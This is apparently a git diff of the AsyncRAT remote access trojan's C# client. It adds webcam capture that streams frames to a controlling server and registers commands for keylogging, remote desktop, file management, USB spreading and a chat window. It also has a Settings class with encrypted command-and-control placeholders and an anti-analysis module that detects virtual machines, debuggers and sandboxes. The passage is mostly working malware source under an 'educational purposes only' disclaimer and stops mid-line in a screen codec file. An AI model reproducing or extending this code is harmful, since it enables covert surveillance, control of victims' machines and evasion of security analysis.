break; + } + + case "capture": + { + if (IsOn == true) return; + if (TempSocket.IsConnected) + { + IsOn = true; + FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString); + Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger; + FinalVideo.NewFrame += CaptureRun; + FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger]; + FinalVideo.Start(); + } + else + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + } + break; + } + + case "stop": + { + new Thread(() => + { + try + { + CaptureDispose(); + } + catch { } + }).Start(); + break; + } + } + break; + } + } + } + catch (Exception ex) + { + Debug.WriteLine("Webcam switch" + ex.Message); + } + } + + private static void CaptureRun(object sender, NewFrameEventArgs e) + { + try + { + if (TempSocket.IsConnected) + { + if (IsOn == true) + { + Bitmap image = (Bitmap)e.Frame.Clone(); + using (Camstream = new MemoryStream()) + { + System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; + EncoderParameters myEncoderParameters = new EncoderParameters(1); + EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality); + myEncoderParameters.Param[0] = myEncoderParameter; + ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg); + image.Save(Camstream, jpgEncoder, myEncoderParameters); + myEncoderParameters?.Dispose(); + myEncoderParameter?.Dispose(); + image?.Dispose(); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("Command").AsString = "capture"; + msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray()); + TempSocket.Send(msgpack.Encode2Bytes()); + Thread.Sleep(1); + } + } + } + else + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + } + } + catch (Exception ex) + { + new Thread(() => + { + try + { + CaptureDispose(); + TempSocket.Dispose(); + } + catch { } + }).Start(); + Debug.WriteLine("CaptureRun: " + ex.Message); + } + } + + private static void GetWebcams() + { + try + { + StringBuilder deviceInfo = new StringBuilder(); + FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) + { + deviceInfo.Append(videoCaptureDevice.Name + "-=>"); + VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString); + Debug.WriteLine(videoCaptureDevice.Name); + } + MsgPack msgpack = new MsgPack(); + if (deviceInfo.Length > 0) + { + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("List").AsString = deviceInfo.ToString(); + } + else + { + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("ID").AsString = HWID; + msgpack.ForcePathObject("List").AsString = "None"; + } + TempSocket.Send(msgpack.Encode2Bytes()); + } + catch { } + } + + private static void CaptureDispose() + { + try + { + IsOn = false; + FinalVideo.Stop(); + FinalVideo.NewFrame -= CaptureRun; + Camstream?.Dispose(); + } + catch { } + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs new file mode 100644 index 0000000..1220a37 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs @@ -0,0 +1,47 @@ +using Client.Helper; +using Client.MessagePack; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Client.Handle_Packet +{ + public class HandlerChat + { + + public void CreateChat() + { + new Thread(() => + { + Packet.GetFormChat = new FormChat(); + Packet.GetFormChat.ShowDialog(); + }).Start(); + } + public void WriteInput(MsgPack unpack_msgpack) + { + if (Packet.GetFormChat.InvokeRequired) + { + Packet.GetFormChat.Invoke((MethodInvoker)(() => + { + Console.Beep(); + Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine); + })); + } + } + + public void ExitChat() + { + if (Packet.GetFormChat.InvokeRequired) + { + Packet.GetFormChat.Invoke((MethodInvoker)(() => + { + Packet.GetFormChat.Close(); + Packet.GetFormChat.Dispose(); + })); + } + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs similarity index 100% rename from AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/Packet.cs similarity index 79% rename from AsyncRAT-C#/Client/Handle Packet/Packet.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 32c2fdb..ccc1682 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -17,6 +17,7 @@ namespace Client.Handle_Packet { public static CancellationTokenSource ctsDos; public static CancellationTokenSource ctsReportWindow; + public static FormChat GetFormChat; public static string FileCopy = null; public static void Read(object data) @@ -99,24 +100,54 @@ namespace Client.Handle_Packet break; } - case "usb": + case "usbSpread": { new HandleLimeUSB(unpack_msgpack); break; } + case "remoteDesktop": + { + new HandleRemoteDesktop(unpack_msgpack); + break; + } + case "processManager": { new HandleProcessManager(unpack_msgpack); } break; + case "fileManager": + { + new FileManager(unpack_msgpack); + } + break; + case "botKiller": { new HandleBotKiller().RunBotKiller(); break; } + case "keyLogger": + { + string isON = unpack_msgpack.ForcePathObject("isON").AsString; + if (isON == "true") + { + new Thread(() => + { + HandleLimeLogger.isON = true; + HandleLimeLogger.Run(); + }).Start(); + } + else + { + HandleLimeLogger.isON = false; + } + break; + } + case "visitURL": { string url = unpack_msgpack.ForcePathObject("URL").AsString; @@ -160,6 +191,24 @@ namespace Client.Handle_Packet break; } + case "chat": + { + new HandlerChat().CreateChat(); + break; + } + + case "chatWriteInput": + { + new HandlerChat().WriteInput(unpack_msgpack); + break; + } + + case "chatExit": + { + new HandlerChat().ExitChat(); + break; + } + case "pcOptions": { new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString); @@ -191,12 +240,13 @@ namespace Client.Handle_Packet break; } - case "plugin": + case "webcam": { - new HandlePlugin(unpack_msgpack); + HandleWebcam.Run(unpack_msgpack); break; } + //case "netStat": // { // HandleNetStat.RunNetStat(); @@ -208,10 +258,6 @@ namespace Client.Handle_Packet { Error(ex.Message); } - finally - { - GC.Collect(); - } } private static void Received() diff --git a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs similarity index 96% rename from AsyncRAT-C#/Client/Helper/Anti_Analysis.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs index a37a199..3bca0d6 100644 --- a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs @@ -1,99 +1,99 @@ -using Client.Handle_Packet; -using System; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Management; -using System.Net.NetworkInformation; -using System.Runtime.InteropServices; - -// │ Author : NYAN CAT -// │ Name : Anti Analysis v0.2.1 -// │ Contact : https://github.com/NYAN-x-CAT - -// This program is distributed for educational purposes only. - - - - -namespace Client.Helper -{ - - class Anti_Analysis - { - public static void RunAntiAnalysis() - { - if (DetectManufacturer() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP()) - //Environment.FailFast(null); - new HandleUninstall(); - } - - private static bool IsSmallDisk() - { - try - { - long GB_60 = 61000000000; - if (new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize <= GB_60) - return true; - } - catch { } - return false; - } - - private static bool IsXP() - { - if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp")) - { - return true; - } - return false; - } - - private static bool DetectManufacturer() - { - try - { - using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) - { - using (var items = searcher.Get()) - { - foreach (var item in items) - { - string manufacturer = item["Manufacturer"].ToString().ToLower(); - if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) - || manufacturer.Contains("vmware") - || item["Model"].ToString() == "VirtualBox") - { - return true; - } - } - } - } - } - catch { } - return false; - } - - private static bool DetectDebugger() - { - bool isDebuggerPresent = false; - CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); - return isDebuggerPresent; - } - - private static bool DetectSandboxie() - { - if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) - return true; - else - return false; - } - - - [DllImport("kernel32.dll")] - public static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent); - } -} +using Client.Handle_Packet; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Net.NetworkInformation; +using System.Runtime.InteropServices; + +// │ Author : NYAN CAT +// │ Name : Anti Analysis v0.2.1 +// │ Contact : https://github.com/NYAN-x-CAT + +// This program is distributed for educational purposes only. + + + + +namespace Client.Helper +{ + + class Anti_Analysis + { + public static void RunAntiAnalysis() + { + if (DetectManufacturer() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP()) + //Environment.FailFast(null); + new HandleUninstall(); + } + + private static bool IsSmallDisk() + { + try + { + long GB_60 = 61000000000; + if (new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize <= GB_60) + return true; + } + catch { } + return false; + } + + private static bool IsXP() + { + if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp")) + { + return true; + } + return false; + } + + private static bool DetectManufacturer() + { + try + { + using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) + { + using (var items = searcher.Get()) + { + foreach (var item in items) + { + string manufacturer = item["Manufacturer"].ToString().ToLower(); + if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) + || manufacturer.Contains("vmware") + || item["Model"].ToString() == "VirtualBox") + { + return true; + } + } + } + } + } + catch { } + return false; + } + + private static bool DetectDebugger() + { + bool isDebuggerPresent = false; + CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); + return isDebuggerPresent; + } + + private static bool DetectSandboxie() + { + if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) + return true; + else + return false; + } + + + [DllImport("kernel32.dll")] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs new file mode 100644 index 0000000..13dddcb --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs @@ -0,0 +1,93 @@ +namespace Client.Helper +{ + partial class FormChat + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.SuspendLayout(); + // + // textBox1 + // + this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom; + this.textBox1.Location = new System.Drawing.Point(0, 384); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(757, 26); + this.textBox1.TabIndex = 3; + this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown); + // + // richTextBox1 + // + this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.richTextBox1.BackColor = System.Drawing.SystemColors.Window; + this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox1.Location = new System.Drawing.Point(12, 12); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.ReadOnly = true; + this.richTextBox1.Size = new System.Drawing.Size(733, 351); + this.richTextBox1.TabIndex = 2; + this.richTextBox1.Text = ""; + // + // timer1 + // + this.timer1.Enabled = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); + // + // FormChat + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.SystemColors.Window; + this.ClientSize = new System.Drawing.Size(757, 410); + this.ControlBox = false; + this.Controls.Add(this.textBox1); + this.Controls.Add(this.richTextBox1); + this.Name = "FormChat"; + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "AysncRAT | Chat"; + this.TopMost = true; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FormChat_FormClosing); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox textBox1; + public System.Windows.Forms.RichTextBox richTextBox1; + private System.Windows.Forms.Timer timer1; + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.cs new file mode 100644 index 0000000..9a68e21 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.cs @@ -0,0 +1,45 @@ +using Client.Handle_Packet; +using Client.MessagePack; +using Client.Connection; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace Client.Helper +{ + public partial class FormChat : Form + { + public FormChat() + { + InitializeComponent(); + } + + private void TextBox1_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) + { + richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chat"; + msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine; + ClientSocket.Send(msgpack.Encode2Bytes()); + textBox1.Clear(); + } + } + + private void FormChat_FormClosing(object sender, FormClosingEventArgs e) + { + e.Cancel = true; + } + + private void Timer1_Tick(object sender, EventArgs e) + { + if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose(); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.resx b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.resx new file mode 100644 index 0000000..1f666f2 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/FormChat.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/Methods.cs similarity index 97% rename from AsyncRAT-C#/Client/Helper/Methods.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Helper/Methods.cs index 18ff676..63a4c18 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/Methods.cs @@ -28,7 +28,7 @@ namespace Client.Helper sb.Append(Environment.MachineName); sb.Append(Environment.OSVersion); sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize); - return GetHash(sb.ToString()).Substring(0, 15).ToUpper(); + return GetHash(sb.ToString()); } public static string GetHash(string strToHash) @@ -39,7 +39,7 @@ namespace Client.Helper StringBuilder strResult = new StringBuilder(); foreach (byte b in bytesToHash) strResult.Append(b.ToString("x2")); - return strResult.ToString(); + return strResult.ToString().Substring(0, 15).ToUpper(); } private static Mutex _appMutex; diff --git a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Helper/ProcessCritical.cs similarity index 100% rename from AsyncRAT-C#/Client/Helper/ProcessCritical.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Helper/ProcessCritical.cs diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Install/NormalStartup.cs similarity index 100% rename from AsyncRAT-C#/Client/Install/NormalStartup.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Install/NormalStartup.cs diff --git a/AsyncRAT-C#/Client/MessagePack/BytesTools.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/BytesTools.cs similarity index 100% rename from AsyncRAT-C#/Client/MessagePack/BytesTools.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/BytesTools.cs diff --git a/AsyncRAT-C#/Client/MessagePack/MsgPack.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/MsgPack.cs similarity index 100% rename from AsyncRAT-C#/Client/MessagePack/MsgPack.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/MsgPack.cs diff --git a/AsyncRAT-C#/Client/MessagePack/MsgPackType.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/MsgPackType.cs similarity index 100% rename from AsyncRAT-C#/Client/MessagePack/MsgPackType.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/MsgPackType.cs diff --git a/AsyncRAT-C#/Client/MessagePack/ReadTools.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/ReadTools.cs similarity index 100% rename from AsyncRAT-C#/Client/MessagePack/ReadTools.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/ReadTools.cs diff --git a/AsyncRAT-C#/Client/MessagePack/WriteTools.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/WriteTools.cs similarity index 100% rename from AsyncRAT-C#/Client/MessagePack/WriteTools.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/MessagePack/WriteTools.cs diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Program.cs similarity index 100% rename from AsyncRAT-C#/Client/Program.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Program.cs diff --git a/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs similarity index 100% rename from AsyncRAT-C#/Client/Properties/AssemblyInfo.cs rename to AsyncRAT-C#/AsyncRAT-C#/Client/Properties/AssemblyInfo.cs diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/Settings.cs new file mode 100644 index 0000000..73c8006 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/Settings.cs @@ -0,0 +1,85 @@ +using Client.Algorithm; +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace Client +{ + public static class Settings + { +#if DEBUG + public static string Ports = "6606"; + public static string Hosts = "127.0.0.1"; + public static string Version = "0.5.2"; + public static string Install = "false"; + public static string InstallFolder = "AppData"; + public static string InstallFile = "Test.exe"; + public static string Key = "NYAN CAT"; + public static string MTX = "%MTX%"; + public static string Certificate = "%Certificate%"; + public static string Serversignature = "%Serversignature%"; + public static X509Certificate2 ServerCertificate; + public static string Anti = "false"; + public static Aes256 aes256 = new Aes256(Key); + public static string Pastebin = "null"; + public static string BDOS = "false"; + +#else + public static string Ports = "%Ports%"; + public static string Hosts = "%Hosts%"; + public static string Version = "%Version%"; + public static string Install = "%Install%"; + public static string InstallFolder = "%Folder%"; + public static string InstallFile = "%File%"; + public static string Key = "%Key%"; + public static string MTX = "%MTX%"; + public static string Certificate = "%Certificate%"; + public static string Serversignature = "%Serversignature%"; + public static X509Certificate2 ServerCertificate; + public static string Anti = "%Anti%"; + public static Aes256 aes256; + public static string Pastebin = "%Pastebin%"; + public static string BDOS = "%BDOS%"; +#endif + + + public static bool InitializeSettings() + { +#if DEBUG + return true; +#endif + try + { + Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key)); + aes256 = new Aes256(Key); + Ports = aes256.Decrypt(Ports); + Hosts = aes256.Decrypt(Hosts); + Version = aes256.Decrypt(Version); + Install = aes256.Decrypt(Install); + MTX = aes256.Decrypt(MTX); + Pastebin = aes256.Decrypt(Pastebin); + Anti = aes256.Decrypt(Anti); + BDOS = aes256.Decrypt(BDOS); + Serversignature = aes256.Decrypt(Serversignature); + ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); + return VerifyHash(); + } + catch { return false; } + } + + private static bool VerifyHash() + { + try + { + var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Serversignature)); + } + catch (Exception) + { + return false; + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/Enums.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/Enums.cs new file mode 100644 index 0000000..83e58e3 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/Enums.cs @@ -0,0 +1,20 @@ +namespace Client.StreamLibrary +{ + public enum CodecOption + { + /// + /// The Previous and next image size must be equal + /// + RequireSameSize, + /// + /// If the codec is having a stream buffer + /// + HasBuffers, + /// + /// The image will be disposed by the codec and shall not be disposed by the user + /// + AutoDispose, + /// No codec options were used + None + }; +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs new file mode 100644 index 0000000..bd8775e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs @@ -0,0 +1,44 @@ +using Client.StreamLibrary.src; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Client.StreamLibrary +{ + public abstract class IUnsafeCodec + { + protected JpgCompression jpgCompression; + protected LzwCompression lzwCompression; + public abstract ulong CachedSize { get; internal set; } + protected object ImageProcessLock { get; private set; } + + private int _imageQuality; + public int ImageQuality + { + get { return _imageQuality; } + set + { + _imageQuality = value; + jpgCompression = new JpgCompression(value); + lzwCompression = new LzwCompression(value); + } + } + + + public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public IUnsafeCodec(int ImageQuality = 100) + { + this.ImageQuality = ImageQuality; + this.ImageProcessLock = new object(); + } + + public abstract int BufferCount { get; } + public abstract CodecOption CodecOptions { get; } + public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); + public abstract unsafe Bitmap DecodeData(Stream inStream); + public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs new file mode 100644 index 0000000..79fc22f --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs @@ -0,0 +1,35 @@ +using Client.StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text; + +namespace Client.StreamLibrary +{ + public abstract class IVideoCodec + { + public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges); + public delegate void VideoDecodeProgress(Bitmap bitmap); + public delegate void VideoDebugScanningDelegate(Rectangle ScanArea); + + public abstract event VideoCodeProgress onVideoStreamCoding; + public abstract event VideoDecodeProgress onVideoStreamDecoding; + public abstract event VideoDebugScanningDelegate onCodeDebugScan; + public abstract event VideoDebugScanningDelegate onDecodeDebugScan; + protected JpgCompression jpgCompression; + public abstract ulong CachedSize { get; internal set; } + public int ImageQuality { get; set; } + + public IVideoCodec(int ImageQuality = 100) + { + this.jpgCompression = new JpgCompression(ImageQuality); + this.ImageQuality = ImageQuality; + } + + public abstract int BufferCount { get; } + public abstract CodecOption CodecOptions { get; } + public abstract void CodeImage(Bitmap bitmap, Stream outStream); + public abstract Bitmap DecodeData(Stream inStream); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs new file mode 100644 index 0000000..62e704e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs @@ -0,0 +1,338 @@ +using Client.StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace Client.StreamLibrary.UnsafeCodecs +{ + public class UnsafeStreamCodec : IUnsafeCodec + { + public override ulong CachedSize + { + get; + internal set; + } + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize; } + } + + public Size CheckBlock { get; private set; } + private byte[] EncodeBuffer; + private Bitmap decodedBitmap; + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + bool UseJPEG; + + /// + /// Initialize a new object of UnsafeStreamCodec + /// + /// The quality to use between 0-100 + public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true) + : base(ImageQuality) + { + this.CheckBlock = new Size(50, 1); + this.UseJPEG = UseJPEG; + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + lock (ImageProcessLock) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, 